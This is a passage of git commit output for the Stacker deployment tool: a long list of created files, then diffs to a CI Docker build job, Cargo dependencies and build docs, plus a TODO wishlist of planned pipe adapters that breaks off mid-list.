stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.up.sql create mode 100644 stacker/stacker/node_modules/.vite/deps_temp_0b5f61c2/package.json create mode 100644 stacker/stacker/package-lock.json create mode 100644 stacker/stacker/package.json create mode 100644 stacker/stacker/plan/feature-project-runtime-path-1.md create mode 100644 stacker/stacker/proto/pipe.proto create mode 100644 stacker/stacker/renovate.json create mode 100644 stacker/stacker/rustfmt.toml create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/scenario.yaml create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md create mode 100644 stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md create mode 100755 stacker/stacker/scripts/init_db.sh create mode 100755 stacker/stacker/scripts/install.sh create mode 100644 stacker/stacker/src/banner.rs create mode 100644 stacker/stacker/src/bin/agent_executor.rs create mode 100644 stacker/stacker/src/bin/stacker.rs create mode 100644 stacker/stacker/src/cli/ai_client.rs create mode 100644 stacker/stacker/src/cli/ai_field_matcher.rs create mode 100644 stacker/stacker/src/cli/ai_pipe_suggest.rs create mode 100644 stacker/stacker/src/cli/ai_scanner.rs create mode 100644 stacker/stacker/src/cli/ai_scenarios.rs create mode 100644 stacker/stacker/src/cli/ci_export.rs create mode 100644 stacker/stacker/src/cli/cloud_env.rs create mode 100644 stacker/stacker/src/cli/compose_service_sync.rs create mode 100644 stacker/stacker/src/cli/compose_targets.rs create mode 100644 stacker/stacker/src/cli/config_bundle.rs create mode 100644 stacker/stacker/src/cli/config_check.rs create mode 100644 stacker/stacker/src/cli/config_contract.rs create mode 100644 stacker/stacker/src/cli/config_diff.rs create mode 100644 stacker/stacker/src/cli/config_inventory.rs create mode 100644 stacker/stacker/src/cli/config_parser.rs create mode 100644 stacker/stacker/src/cli/config_promote.rs create mode 100644 stacker/stacker/src/cli/credentials.rs create mode 100644 stacker/stacker/src/cli/debug.rs create mode 100644 stacker/stacker/src/cli/deployment_lock.rs create mode 100644 stacker/stacker/src/cli/detector.rs create mode 100644 stacker/stacker/src/cli/error.rs create mode 100644 stacker/stacker/src/cli/field_matcher.rs create mode 100644 stacker/stacker/src/cli/fmt.rs create mode 100644 stacker/stacker/src/cli/generator/compose.rs create mode 100644 stacker/stacker/src/cli/generator/dockerfile.rs create mode 100644 stacker/stacker/src/cli/generator/mod.rs create mode 100644 stacker/stacker/src/cli/install_runner.rs create mode 100644 stacker/stacker/src/cli/local_compose.rs create mode 100644 stacker/stacker/src/cli/local_pipe_store.rs create mode 100644 stacker/stacker/src/cli/ml_field_matcher.rs create mode 100644 stacker/stacker/src/cli/mod.rs create mode 100644 stacker/stacker/src/cli/progress.rs create mode 100644 stacker/stacker/src/cli/proxy_manager.rs create mode 100644 stacker/stacker/src/cli/runtime.rs create mode 100644 stacker/stacker/src/cli/service_catalog.rs create mode 100644 stacker/stacker/src/cli/service_import.rs create mode 100644 stacker/stacker/src/cli/stacker_client.rs create mode 100644 stacker/stacker/src/configuration.rs create mode 100644 stacker/stacker/src/connectors/README.md create mode 100644 stacker/stacker/src/connectors/admin_service/jwt.rs create mode 100644 stacker/stacker/src/connectors/admin_service/mod.rs create mode 100644 stacker/stacker/src/connectors/app_service_catalog.rs create mode 100644 stacker/stacker/src/connectors/config.rs create mode 100644 stacker/stacker/src/connectors/dockerhub_service.rs create mode 100644 stacker/stacker/src/connectors/errors.rs create mode 100644 stacker/stacker/src/connectors/hetzner.rs create mode 100644 stacker/stacker/src/connectors/install_service/client.rs create mode 100644 stacker/stacker/src/connectors/install_service/init.rs create mode 100644 stacker/stacker/src/connectors/install_service/mock.rs create mode 100644 stacker/stacker/src/connectors/install_service/mod.rs create mode 100644 stacker/stacker/src/connectors/mod.rs create mode 100644 stacker/stacker/src/connectors/user_service/app.rs create mode 100644 stacker/stacker/src/connectors/user_service/category_sync.rs create mode 100644 stacker/stacker/src/connectors/user_service/client.rs create mode 100644 stacker/stacker/src/connectors/user_service/connector.rs create mode 100644 stacker/stacker/src/connectors/user_service/deployment_resolver.rs create mode 100644 stacker/stacker/src/connectors/user_service/deployment_validator.rs create mode 100644 stacker/stacker/src/connectors/user_service/error.rs create mode 100644 stacker/stacker/src/connectors/user_service/init.rs create mode 100644 stacker/stacker/src/connectors/user_service/install.rs create mode 100644 stacker/stacker/src/connectors/user_service/marketplace_search.rs create mode 100644 stacker/stacker/src/connectors/user_service/marketplace_webhook.rs create mode 100644 stacker/stacker/src/connectors/user_service/mock.rs create mode 100644 stacker/stacker/src/connectors/user_service/mod.rs create mode 100644 stacker/stacker/src/connectors/user_service/notifications.rs create mode 100644 stacker/stacker/src/connectors/user_service/plan.rs create mode 100644 stacker/stacker/src/connectors/user_service/profile.rs create mode 100644 stacker/stacker/src/connectors/user_service/stack.rs create mode 100644 stacker/stacker/src/connectors/user_service/tests.rs create mode 100644 stacker/stacker/src/connectors/user_service/types.rs create mode 100644 stacker/stacker/src/connectors/user_service/utils.rs create mode 100644 stacker/stacker/src/console/commands/agent/mod.rs create mode 100644 stacker/stacker/src/console/commands/agent/rotate_token.rs create mode 100644 stacker/stacker/src/console/commands/appclient/mod.rs create mode 100644 stacker/stacker/src/console/commands/appclient/new.rs create mode 100644 stacker/stacker/src/console/commands/callable.rs create mode 100644 stacker/stacker/src/console/commands/cli/agent.rs create mode 100644 stacker/stacker/src/console/commands/cli/ai.rs create mode 100644 stacker/stacker/src/console/commands/cli/ci.rs create mode 100644 stacker/stacker/src/console/commands/cli/cloud_firewall.rs create mode 100644 stacker/stacker/src/console/commands/cli/config.rs create mode 100644 stacker/stacker/src/console/commands/cli/connect.rs create mode 100644 stacker/stacker/src/console/commands/cli/deploy.rs create mode 100644 stacker/stacker/src/console/commands/cli/deployment.rs create mode 100644 stacker/stacker/src/console/commands/cli/destroy.rs create mode 100644 stacker/stacker/src/console/commands/cli/explain.rs create mode 100644 stacker/stacker/src/console/commands/cli/init.rs create mode 100644 stacker/stacker/src/console/commands/cli/list.rs create mode 100644 stacker/stacker/src/console/commands/cli/login.rs create mode 100644 stacker/stacker/src/console/commands/cli/logs.rs create mode 100644 stacker/stacker/src/console/commands/cli/marketplace.rs create mode 100644 stacker/stacker/src/console/commands/cli/mod.rs create mode 100644 stacker/stacker/src/console/commands/cli/pipe.rs create mode 100644 stacker/stacker/src/console/commands/cli/proxy.rs create mode 100644 stacker/stacker/src/console/commands/cli/resolve.rs create mode 100644 stacker/stacker/src/console/commands/cli/rollback.rs create mode 100644 stacker/stacker/src/console/commands/cli/secrets.rs create mode 100644 stacker/stacker/src/console/commands/cli/service.rs create mode 100644 stacker/stacker/src/console/commands/cli/ssh_key.rs create mode 100644 stacker/stacker/src/console/commands/cli/status.rs create mode 100644 stacker/stacker/src/console/commands/cli/submit.rs create mode 100644 stacker/stacker/src/console/commands/cli/update.rs create mode 100644 stacker/stacker/src/console/commands/cli/whoami.rs create mode 100644 stacker/stacker/src/console/commands/debug/casbin.rs create mode 100644 stacker/stacker/src/console/commands/debug/dockerhub.rs create mode 100644 stacker/stacker/src/console/commands/debug/json.rs create mode 100644 stacker/stacker/src/console/commands/debug/mod.rs create mode 100644 stacker/stacker/src/console/commands/mod.rs create mode 100644 stacker/stacker/src/console/commands/mq/listener.rs create mode 100644 stacker/stacker/src/console/commands/mq/mod.rs create mode 100644 stacker/stacker/src/console/main.rs create mode 100644 stacker/stacker/src/console/mod.rs create mode 100644 stacker/stacker/src/db/agent.rs create mode 100644 stacker/stacker/src/db/agent_audit_log.rs create mode 100644 stacker/stacker/src/db/agreement.rs create mode 100644 stacker/stacker/src/db/chat.rs create mode 100644 stacker/stacker/src/db/client.rs create mode 100644 stacker/stacker/src/db/cloud.rs create mode 100644 stacker/stacker/src/db/command.rs create mode 100644 stacker/stacker/src/db/dag.rs create mode 100644 stacker/stacker/src/db/deployment.rs create mode 100644 stacker/stacker/src/db/marketplace.rs create mode 100644 stacker/stacker/src/db/mod.rs create mode 100644 stacker/stacker/src/db/pipe.rs create mode 100644 stacker/stacker/src/db/product.rs create mode 100644 stacker/stacker/src/db/project.rs create mode 100644 stacker/stacker/src/db/project_app.rs create mode 100644 stacker/stacker/src/db/project_member.rs create mode 100644 stacker/stacker/src/db/rating.rs create mode 100644 stacker/stacker/src/db/remote_secret.rs create mode 100644 stacker/stacker/src/db/resilience.rs create mode 100644 stacker/stacker/src/db/server.rs create mode 100644 stacker/stacker/src/forms/agreement/add.rs create mode 100644 stacker/stacker/src/forms/agreement/adminadd.rs create mode 100644 stacker/stacker/src/forms/agreement/mod.rs create mode 100644 stacker/stacker/src/forms/cloud.rs create mode 100644 stacker/stacker/src/forms/cloud_firewall.rs create mode 100644 stacker/stacker/src/forms/firewall.rs create mode 100644 stacker/stacker/src/forms/mod.rs create mode 100644 stacker/stacker/src/forms/project/app.rs create mode 100644 stacker/stacker/src/forms/project/compose_networks.rs create mode 100644 stacker/stacker/src/forms/project/custom.rs create mode 100644 stacker/stacker/src/forms/project/deploy.rs create mode 100644 stacker/stacker/src/forms/project/docker_image.rs create mode 100644 stacker/stacker/src/forms/project/domain_list.rs create mode 100644 stacker/stacker/src/forms/project/environment.rs create mode 100644 stacker/stacker/src/forms/project/feature.rs create mode 100644 stacker/stacker/src/forms/project/form.rs create mode 100644 stacker/stacker/src/forms/project/icon.rs create mode 100644 stacker/stacker/src/forms/project/icon_dark.rs create mode 100644 stacker/stacker/src/forms/project/icon_light.rs create mode 100644 stacker/stacker/src/forms/project/mod.rs create mode 100644 stacker/stacker/src/forms/project/network.rs create mode 100644 stacker/stacker/src/forms/project/network_driver.rs create mode 100644 stacker/stacker/src/forms/project/payload.rs create mode 100644 stacker/stacker/src/forms/project/port.rs create mode 100644 stacker/stacker/src/forms/project/price.rs create mode 100644 stacker/stacker/src/forms/project/requirements.rs create mode 100644 stacker/stacker/src/forms/project/role.rs create mode 100644 stacker/stacker/src/forms/project/service.rs create mode 100644 stacker/stacker/src/forms/project/service_networks.rs create mode 100644 stacker/stacker/src/forms/project/var.rs create mode 100644 stacker/stacker/src/forms/project/version.rs create mode 100644 stacker/stacker/src/forms/project/volume.rs create mode 100644 stacker/stacker/src/forms/project/volumes.rs create mode 100644 stacker/stacker/src/forms/project/web.rs create mode 100644 stacker/stacker/src/forms/rating/add.rs create mode 100644 stacker/stacker/src/forms/rating/adminedit.rs create mode 100644 stacker/stacker/src/forms/rating/mod.rs create mode 100644 stacker/stacker/src/forms/rating/useredit.rs create mode 100644 stacker/stacker/src/forms/remote_secret.rs create mode 100644 stacker/stacker/src/forms/server.rs create mode 100644 stacker/stacker/src/forms/status_panel.rs create mode 100644 stacker/stacker/src/forms/user.rs create mode 100644 stacker/stacker/src/handoff.rs create mode 100644 stacker/stacker/src/health/checks.rs create mode 100644 stacker/stacker/src/health/metrics.rs create mode 100644 stacker/stacker/src/health/mod.rs create mode 100644 stacker/stacker/src/health/models.rs create mode 100644 stacker/stacker/src/helpers/agent_capabilities.rs create mode 100644 stacker/stacker/src/helpers/agent_client.rs create mode 100644 stacker/stacker/src/helpers/client/generate_secret.rs create mode 100644 stacker/stacker/src/helpers/client/is_secret_unique.rs create mode 100644 stacker/stacker/src/helpers/client/mod.rs create mode 100644 stacker/stacker/src/helpers/cloud/mod.rs create mode 100644 stacker/stacker/src/helpers/cloud/security.rs create mode 100644 stacker/stacker/src/helpers/compressor.rs create mode 100644 stacker/stacker/src/helpers/db_pools.rs create mode 100644 stacker/stacker/src/helpers/dockerhub.rs create mode 100644 stacker/stacker/src/helpers/env_path.rs create mode 100644 stacker/stacker/src/helpers/fs.rs create mode 100644 stacker/stacker/src/helpers/ip.rs create mode 100644 stacker/stacker/src/helpers/json.rs create mode 100644 stacker/stacker/src/helpers/mod.rs create mode 100644 stacker/stacker/src/helpers/mq_manager.rs create mode 100644 stacker/stacker/src/helpers/project/builder.rs create mode 100644 stacker/stacker/src/helpers/project/builder_config.rs create mode 100644 stacker/stacker/src/helpers/project/mod.rs create mode 100644 stacker/stacker/src/helpers/security_validator.rs create mode 100644 stacker/stacker/src/helpers/ssh_client.rs create mode 100644 stacker/stacker/src/helpers/stacker_labels.rs create mode 100644 stacker/stacker/src/helpers/vault.rs create mode 100644 stacker/stacker/src/lib.rs create mode 100644 stacker/stacker/src/main.rs create mode 100644 stacker/stacker/src/mcp/mod.rs create mode 100644 stacker/stacker/src/mcp/protocol.rs create mode 100644 stacker/stacker/src/mcp/protocol_tests.rs create mode 100644 stacker/stacker/src/mcp/registry.rs create mode 100644 stacker/stacker/src/mcp/session.rs create mode 100644 stacker/stacker/src/mcp/tools/agent_control.rs create mode 100644 stacker/stacker/src/mcp/tools/ansible_roles.rs create mode 100644 stacker/stacker/src/mcp/tools/cloud.rs create mode 100644 stacker/stacker/src/mcp/tools/compose.rs create mode 100644 stacker/stacker/src/mcp/tools/config.rs create mode 100644 stacker/stacker/src/mcp/tools/deployment.rs create mode 100644 stacker/stacker/src/mcp/tools/explain.rs create mode 100644 stacker/stacker/src/mcp/tools/firewall.rs create mode 100644 stacker/stacker/src/mcp/tools/install_preview.rs create mode 100644 stacker/stacker/src/mcp/tools/marketplace_admin.rs create mode 100644 stacker/stacker/src/mcp/tools/mod.rs create mode 100644 stacker/stacker/src/mcp/tools/monitoring.rs create mode 100644 stacker/stacker/src/mcp/tools/pipes.rs create mode 100644 stacker/stacker/src/mcp/tools/project.rs create mode 100644 stacker/stacker/src/mcp/tools/proxy.rs create mode 100644 stacker/stacker/src/mcp/tools/recommendations.rs create mode 100644 stacker/stacker/src/mcp/tools/remote_secrets.rs create mode 100644 stacker/stacker/src/mcp/tools/support.rs create mode 100644 stacker/stacker/src/mcp/tools/templates.rs create mode 100644 stacker/stacker/src/mcp/tools/user.rs create mode 100644 stacker/stacker/src/mcp/tools/user_service/mcp.rs create mode 100644 stacker/stacker/src/mcp/tools/user_service/mod.rs create mode 100644 stacker/stacker/src/mcp/websocket.rs create mode 100644 stacker/stacker/src/metrics.rs create mode 100644 stacker/stacker/src/middleware/authentication/getheader.rs create mode 100644 stacker/stacker/src/middleware/authentication/manager.rs create mode 100644 stacker/stacker/src/middleware/authentication/manager_middleware.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_agent.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_anonym.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_cookie.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_hmac.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_jwt.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_oauth.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/f_query.rs create mode 100644 stacker/stacker/src/middleware/authentication/method/mod.rs create mode 100644 stacker/stacker/src/middleware/authentication/mod.rs create mode 100644 stacker/stacker/src/middleware/authorization.rs create mode 100644 stacker/stacker/src/middleware/mod.rs create mode 100644 stacker/stacker/src/middleware/prometheus.rs create mode 100644 stacker/stacker/src/models/agent.rs create mode 100644 stacker/stacker/src/models/agent_audit_log.rs create mode 100644 stacker/stacker/src/models/agent_protocol.rs create mode 100644 stacker/stacker/src/models/agreement.rs create mode 100644 stacker/stacker/src/models/cdc.rs create mode 100644 stacker/stacker/src/models/chat.rs create mode 100644 stacker/stacker/src/models/client.rs create mode 100644 stacker/stacker/src/models/cloud.rs create mode 100644 stacker/stacker/src/models/command.rs create mode 100644 stacker/stacker/src/models/dag.rs create mode 100644 stacker/stacker/src/models/deployment.rs create mode 100644 stacker/stacker/src/models/marketplace.rs create mode 100644 stacker/stacker/src/models/mod.rs create mode 100644 stacker/stacker/src/models/pipe.rs create mode 100644 stacker/stacker/src/models/product.rs create mode 100644 stacker/stacker/src/models/project.rs create mode 100644 stacker/stacker/src/models/project_app.rs create mode 100644 stacker/stacker/src/models/project_member.rs create mode 100644 stacker/stacker/src/models/ratecategory.rs create mode 100644 stacker/stacker/src/models/rating.rs create mode 100644 stacker/stacker/src/models/remote_secret.rs create mode 100644 stacker/stacker/src/models/resilience.rs create mode 100644 stacker/stacker/src/models/rules.rs create mode 100644 stacker/stacker/src/models/server.rs create mode 100644 stacker/stacker/src/models/user.rs create mode 100644 stacker/stacker/src/project_app/hydration.rs create mode 100644 stacker/stacker/src/project_app/mapping.rs create mode 100644 stacker/stacker/src/project_app/mod.rs create mode 100644 stacker/stacker/src/project_app/sync.rs create mode 100644 stacker/stacker/src/project_app/tests.rs create mode 100644 stacker/stacker/src/project_app/upsert.rs create mode 100644 stacker/stacker/src/project_app/vault.rs create mode 100644 stacker/stacker/src/routes/agent/audit.rs create mode 100644 stacker/stacker/src/routes/agent/enqueue.rs create mode 100644 stacker/stacker/src/routes/agent/link.rs create mode 100644 stacker/stacker/src/routes/agent/login.rs create mode 100644 stacker/stacker/src/routes/agent/mod.rs create mode 100644 stacker/stacker/src/routes/agent/notifications.rs create mode 100644 stacker/stacker/src/routes/agent/register.rs create mode 100644 stacker/stacker/src/routes/agent/report.rs create mode 100644 stacker/stacker/src/routes/agent/snapshot.rs create mode 100644 stacker/stacker/src/routes/agent/wait.rs create mode 100644 stacker/stacker/src/routes/agreement/add.rs create mode 100644 stacker/stacker/src/routes/agreement/get.rs create mode 100644 stacker/stacker/src/routes/agreement/mod.rs create mode 100644 stacker/stacker/src/routes/agreement/update.rs create mode 100644 stacker/stacker/src/routes/chat/delete.rs create mode 100644 stacker/stacker/src/routes/chat/get.rs create mode 100644 stacker/stacker/src/routes/chat/mod.rs create mode 100644 stacker/stacker/src/routes/chat/upsert.rs create mode 100644 stacker/stacker/src/routes/client/add.rs create mode 100644 stacker/stacker/src/routes/client/disable.rs create mode 100644 stacker/stacker/src/routes/client/enable.rs create mode 100644 stacker/stacker/src/routes/client/mod.rs create mode 100644 stacker/stacker/src/routes/client/update.rs create mode 100644 stacker/stacker/src/routes/cloud/add.rs create mode 100644 stacker/stacker/src/routes/cloud/delete.rs create mode 100644 stacker/stacker/src/routes/cloud/get.rs create mode 100644 stacker/stacker/src/routes/cloud/mod.rs create mode 100644 stacker/stacker/src/routes/cloud/update.rs create mode 100644 stacker/stacker/src/routes/command/cancel.rs create mode 100644 stacker/stacker/src/routes/command/create.rs create mode 100644 stacker/stacker/src/routes/command/get.rs create mode 100644 stacker/stacker/src/routes/command/list.rs create mode 100644 stacker/stacker/src/routes/command/mod.rs create mode 100644 stacker/stacker/src/routes/deployment/capabilities.rs create mode 100644 stacker/stacker/src/routes/deployment/events.rs create mode 100644 stacker/stacker/src/routes/deployment/force_complete.rs create mode 100644 stacker/stacker/src/routes/deployment/mod.rs create mode 100644 stacker/stacker/src/routes/deployment/plan.rs create mode 100644 stacker/stacker/src/routes/deployment/state.rs create mode 100644 stacker/stacker/src/routes/deployment/status.rs create mode 100644 stacker/stacker/src/routes/dockerhub/mod.rs create mode 100644 stacker/stacker/src/routes/handoff/mod.rs create mode 100644 stacker/stacker/src/routes/health_checks.rs create mode 100644 stacker/stacker/src/routes/legacy_installations.rs create mode 100644 stacker/stacker/src/routes/marketplace/admin.rs create mode 100644 stacker/stacker/src/routes/marketplace/agent.rs create mode 100644 stacker/stacker/src/routes/marketplace/categories.rs create mode 100644 stacker/stacker/src/routes/marketplace/creator.rs create mode 100644 stacker/stacker/src/routes/marketplace/mod.rs create mode 100644 stacker/stacker/src/routes/marketplace/public.rs create mode 100644 stacker/stacker/src/routes/mod.rs create mode 100644 stacker/stacker/src/routes/pipe/create.rs create mode 100644 stacker/stacker/src/routes/pipe/dag.rs create mode 100644 stacker/stacker/src/routes/pipe/delete.rs create mode 100644 stacker/stacker/src/routes/pipe/deploy.rs create mode 100644 stacker/stacker/src/routes/pipe/executions.rs create mode 100644 stacker/stacker/src/routes/pipe/field_match.rs create mode 100644 stacker/stacker/src/routes/pipe/get.rs create mode 100644 stacker/stacker/src/routes/pipe/list.rs create mode 100644 stacker/stacker/src/routes/pipe/mod.rs create mode 100644 stacker/stacker/src/routes/pipe/resilience.rs create mode 100644 stacker/stacker/src/routes/pipe/stream.rs create mode 100644 stacker/stacker/src/routes/pipe/update.rs create mode 100644 stacker/stacker/src/routes/project/add.rs create mode 100644 stacker/stacker/src/routes/project/app.rs create mode 100644 stacker/stacker/src/routes/project/compose.rs create mode 100644 stacker/stacker/src/routes/project/delete.rs create mode 100644 stacker/stacker/src/routes/project/deploy.rs create mode 100644 stacker/stacker/src/routes/project/discover.rs create mode 100644 stacker/stacker/src/routes/project/get.rs create mode 100644 stacker/stacker/src/routes/project/member.rs create mode 100644 stacker/stacker/src/routes/project/mod.rs create mode 100644 stacker/stacker/src/routes/project/secret.rs create mode 100644 stacker/stacker/src/routes/project/service.rs create mode 100644 stacker/stacker/src/routes/project/update.rs create mode 100644 stacker/stacker/src/routes/rating/add.rs create mode 100644 stacker/stacker/src/routes/rating/delete.rs create mode 100644 stacker/stacker/src/routes/rating/edit.rs create mode 100644 stacker/stacker/src/routes/rating/get.rs create mode 100644 stacker/stacker/src/routes/rating/mod.rs create mode 100644 stacker/stacker/src/routes/server/add.rs create mode 100644 stacker/stacker/src/routes/server/cloud_firewall.rs create mode 100644 stacker/stacker/src/routes/server/delete.rs create mode 100644 stacker/stacker/src/routes/server/get.rs create mode 100644 stacker/stacker/src/routes/server/mod.rs create mode 100644 stacker/stacker/src/routes/server/secret.rs create mode 100644 stacker/stacker/src/routes/server/ssh_key.rs create mode 100644 stacker/stacker/src/routes/server/update.rs create mode 100644 stacker/stacker/src/routes/test/deploy.rs create mode 100644 stacker/stacker/src/routes/test/mod.rs create mode 100644 stacker/stacker/src/routes/test/stack_view.rs create mode 100644 stacker/stacker/src/services/agent_dispatcher.rs create mode 100644 stacker/stacker/src/services/config_renderer.rs create mode 100644 stacker/stacker/src/services/dag_executor.rs create mode 100644 stacker/stacker/src/services/deploy_plan.rs create mode 100644 stacker/stacker/src/services/deployment_events.rs create mode 100644 stacker/stacker/src/services/deployment_identifier.rs create mode 100644 stacker/stacker/src/services/deployment_state.rs create mode 100644 stacker/stacker/src/services/env_contract.rs create mode 100644 stacker/stacker/src/services/env_model.rs create mode 100644 stacker/stacker/src/services/explain.rs create mode 100644 stacker/stacker/src/services/grpc_pipe.rs create mode 100644 stacker/stacker/src/services/handoff.rs create mode 100644 stacker/stacker/src/services/log_cache.rs create mode 100644 stacker/stacker/src/services/marketplace_assets.rs create mode 100644 stacker/stacker/src/services/mod.rs create mode 100644 stacker/stacker/src/services/project.rs create mode 100644 stacker/stacker/src/services/project_app_service.rs create mode 100644 stacker/stacker/src/services/rating.rs create mode 100644 stacker/stacker/src/services/resilience_engine.rs create mode 100644 stacker/stacker/src/services/step_executor.rs create mode 100644 stacker/stacker/src/services/typed_error.rs create mode 100644 stacker/stacker/src/services/user_service.rs create mode 100644 stacker/stacker/src/services/vault_service.rs create mode 100644 stacker/stacker/src/services/ws_pipe.rs create mode 100644 stacker/stacker/src/startup.rs create mode 100644 stacker/stacker/src/telemetry.rs create mode 100644 stacker/stacker/src/version.rs create mode 100644 stacker/stacker/src/views/mod.rs create mode 100644 stacker/stacker/src/views/rating/admin.rs create mode 100644 stacker/stacker/src/views/rating/anonymous.rs create mode 100644 stacker/stacker/src/views/rating/mod.rs create mode 100644 stacker/stacker/src/views/rating/user.rs create mode 100644 stacker/stacker/stackerdb/20260312210000_command_queue_cleanup_cron.up.sql create mode 100644 stacker/stacker/stackerdb/Dockerfile create mode 100644 stacker/stacker/stackerdb/README.md create mode 100644 stacker/stacker/test_agent_flow.sh create mode 100755 stacker/stacker/test_agent_report.sh create mode 100644 stacker/stacker/test_build.sh create mode 100644 stacker/stacker/test_mcp.js create mode 100644 stacker/stacker/test_mcp.py create mode 100755 stacker/stacker/test_tools.sh create mode 100755 stacker/stacker/test_ws.sh create mode 120000 stacker/stacker/web/node_modules/.bin/acorn create mode 120000 stacker/stacker/web/node_modules/.bin/baseline-browser-mapping create mode 120000 stacker/stacker/web/node_modules/.bin/browserslist create mode 120000 stacker/stacker/web/node_modules/.bin/esbuild create mode 120000 stacker/stacker/web/node_modules/.bin/jsesc create mode 120000 stacker/stacker/web/node_modules/.bin/json5 create mode 120000 stacker/stacker/web/node_modules/.bin/loose-envify create mode 120000 stacker/stacker/web/node_modules/.bin/lz-string create mode 120000 stacker/stacker/web/node_modules/.bin/nanoid create mode 120000 stacker/stacker/web/node_modules/.bin/node-which create mode 120000 stacker/stacker/web/node_modules/.bin/parser create mode 120000 stacker/stacker/web/node_modules/.bin/rollup create mode 120000 stacker/stacker/web/node_modules/.bin/semver create mode 120000 stacker/stacker/web/node_modules/.bin/specificity create mode 120000 stacker/stacker/web/node_modules/.bin/tldts create mode 120000 stacker/stacker/web/node_modules/.bin/tsc create mode 120000 stacker/stacker/web/node_modules/.bin/tsserver create mode 120000 stacker/stacker/web/node_modules/.bin/update-browserslist-db create mode 120000 stacker/stacker/web/node_modules/.bin/vite create mode 120000 stacker/stacker/web/node_modules/.bin/vite-node create mode 120000 stacker/stacker/web/node_modules/.bin/vitest create mode 120000 stacker/stacker/web/node_modules/.bin/why-is-node-running create mode 120000 stacker/stacker/website/node_modules/.bin/is-docker create mode 120000 stacker/stacker/website/node_modules/.bin/node-which create mode 120000 stacker/stacker/website/node_modules/.bin/rc create mode 120000 stacker/stacker/website/node_modules/.bin/serve create mode 120000 stacker/stacker/website/node_modules/.bin/tsc create mode 120000 stacker/stacker/website/node_modules/.bin/tsserver create mode 100644 web/docs/build-with-ollama.md diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 73b2c15..3d82c8c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -201,6 +201,8 @@ jobs: name: Docker Build & Push (branches/tags) runs-on: ubuntu-latest needs: build-and-test + env: + STACKER_REPO_TOKEN: ${{ secrets.CONFIG_FIXTURES_TOKEN }} if: | github.ref == 'refs/heads/production' || github.ref == 'refs/heads/master' || @@ -211,6 +213,8 @@ jobs: - name: Checkout repository uses: actions/checkout@v4 + + - name: Set up QEMU uses: docker/setup-qemu-action@v3 @@ -240,6 +244,9 @@ jobs: - name: Build and push image uses: docker/build-push-action@v5 with: + context: . + build-contexts: | + stacker=./stacker file: Dockerfile.prod platforms: linux/amd64,linux/arm64 push: true diff --git a/Cargo.toml b/Cargo.toml index 404c392..51afb29 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -20,6 +20,8 @@ clap = { version = "4", features = ["derive"] } tokio = { version = "1", features = ["full"] } axum = { version = "0.8", features = ["ws"] } reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] } +# Keep OpenSSL vendored so musl cross-builds can compile transitive mail adapters. +native-tls = { version = "0.2.18", features = ["vendored"] } # Pin minimum rustls-webpki to fix RUSTSEC-2026-0049 (CRL matching logic) rustls-webpki = ">=0.103.10" ring = "0.17" @@ -54,6 +56,8 @@ dotenvy = "0.15" rustc_version_runtime = "0.3" zeroize = "1" tempfile = "3" +pipe-adapter-sdk = { path = "stacker/crates/pipe-adapter-sdk" } +pipe-adapter-mail = { path = "stacker/crates/pipe-adapter-mail" } [target.'cfg(unix)'.dependencies] nix = { version = "0.29", features = ["signal"] } diff --git a/development.md b/development.md index 76db356..214835a 100644 --- a/development.md +++ b/development.md @@ -6,7 +6,7 @@ Use this to publish the same multi-platform image variants that CI builds for th ```bash docker buildx build \ --platform linux/amd64,linux/arm64 \ - --build-context stacker=../stacker \ + --build-context stacker=./stacker \ -f Dockerfile.prod \ -t trydirect/status:unstable \ -t trydirect/status:latest \ diff --git a/stacker/crates/TODO.md b/stacker/crates/TODO.md new file mode 100644 index 0000000..0ffab35 --- /dev/null +++ b/stacker/crates/TODO.md @@ -0,0 +1,173 @@ +# Pipe Adapter Wishlist + +This file collects **suggested next adapters** for the `crates/` workspace. + +Current first-party adapters already present: + +- `webhook` +- `smtp` +- `imap` +- `pop3` +- `mailhog` + +The list below focuses on adapters that are likely to be useful for real Stacker +users wiring infrastructure, alerts, workflows, and service integrations. + +## High priority + +### Notifications and chat + +- [ ] **Slack** + - Incoming webhook target + - Bot API target for richer messages, threads, and file uploads +- [ ] **Telegram** + - Bot API target for alerts, approvals, and simple commands +- [ ] **Discord** + - Webhook target for ops notifications and status feeds +- [ ] **Microsoft Teams** + - Incoming webhook target for enterprise alerting + +### Workflow and automation + +- [ ] **Airflow** + - Trigger DAG run target + - Optional DAG status poll source +- [ ] **Zapier** + - Catch Hook / Webhooks target adapter +- [ ] **Make.com** + - Webhook target for low-code automation flows +- [ ] **n8n** + - Webhook target for self-hosted workflow automation + +### Queues and event transport + +- [ ] **RabbitMQ / AMQP** + - Queue publish target + - Queue consume source +- [ ] **Kafka** + - Topic publish target + - Topic consume source +- [ ] **NATS** + - Subject publish target + - Subject subscribe source +- [ ] **Redis Streams** + - Stream append target + - Stream consumer source + +## Medium priority + +### Cloud messaging and serverless triggers + +- [ ] **AWS SQS** + - Queue send target + - Queue poll source +- [ ] **AWS SNS** + - Topic publish target +- [ ] **Google Pub/Sub** + - Publish target + - Subscription pull source +- [ ] **Azure Service Bus** + - Queue/topic publish target + - Queue/topic consume source + +### Incident management + +- [ ] **PagerDuty** + - Events API target for incident creation and resolution +- [ ] **Opsgenie** + - Alert target for escalation workflows +- [ ] **VictorOps / Splunk On-Call** + - Alert target for on-call routing + +### Developer platforms + +- [ ] **GitHub** + - Issue/comment target + - Release/deployment webhook source +- [ ] **GitLab** + - Issue/pipeline target + - Webhook source +- [ ] **Jira** + - 